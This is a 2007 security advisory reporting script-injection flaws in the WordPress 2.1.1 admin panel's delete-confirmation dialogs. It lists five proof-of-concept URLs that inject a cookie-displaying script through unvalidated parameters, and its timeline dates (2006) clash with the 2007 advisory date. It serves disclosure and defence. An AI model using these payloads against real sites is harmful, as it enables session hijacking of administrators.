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Wordpress 2.1.1 - Multiple Script Injection Vulnerabilities
scip AG Vulnerability ID 2962 (02/27/2007) http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2962
"WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability." More information is available on the project web site at the following URL:
Stefan Friedli found several vulnerabilities based on an advisory entitled "WordPress AdminPanel CSRF/XSS - 0day" by "Samenspender" which described a lack of input validation when deleting posts that allows injection of arbitrary code. The vulnerability was reported on February, 26th and is referenced in section VII.
Further to this vulnerability which was limited on manipulating the "post"-parameter, there are several other vulnerabilities which are very similar to the one mentioned above. Every operation that makes use of the common confirm-dialog is vulnerable for this type of attack.
... when deleting posts as mentioned in Samenspenders advisory (unvalidated parameter: post, file: post.php) http://target.tld/wp-admin/post.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
... when deleting comments (unvalidated parameter: c, file: comment.php) http://target.tld/wp-admin/comment.php?action=deletecomment&p=39&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
... when deleting pages (unvalidated parameter: page, file: page.php) http://target.tld/wp-admin/page.php?action=delete&post='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
... when deleting categories (unvalidated parameter: cat_ID, file: categories.php) http://target.tld/wp-admin/categories.php?action=delete&cat_ID='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
... when deleting comments (unvalidated parameter: c, file: comment.php) http://target.tld/wp-admin/comment.php?action=deletecomment&p=35&c='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
This list may not be exhaustive. It illustrated that the flaw with confirmation dialogs in Wordpress is not limited to the "Delete Post"-function. Fixing the validation of the post parameter as suggested by e.g. Secunia does not fix the problem and does not reduce the threat of cross-site-scripting or any other webbased exploitation.
This flaws can be detected by using any web browser.
Until these issues are patched, possible workarounds are manual fixing or the usage of a application level filter like mod_security for Apache.
Samenspender - WordPress AdminPanel CSRF/XSS - 0day http://seclists.org/bugtraq/2007/Feb/0494.html
scip AG - Security Consulting Information Process (german) http://www.scip.ch
scip AG Vulnerability Database (german) http://www.scip.ch/cgi-bin/smss/showadvf.pl?id=2962
IX. DISCLOSURE TIMELINE
02/26/06 Release of "Delete Post"-Confirmation Vulnerability 02/27/06 Identification of further vulnerabilities 02/27/06 Immediated Release for informational purposes
The vulnerabilities were discovered by Stefan Friedli.
Stefan Friedli, scip AG, Zuerich, Switzerland stfr-at-scip.ch http://www.scip.ch
A2. LEGAL NOTICES
Copyright (c) 2007 scip AG, Switzerland.
Permission is granted for the re-distribution of this alert. It may not be edited in any way without permission of scip AG.
The information in the advisory is believed to be accurate at the time of publishing based on currently available information. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect or consequential loss or damage from use of or reliance on this advisory.
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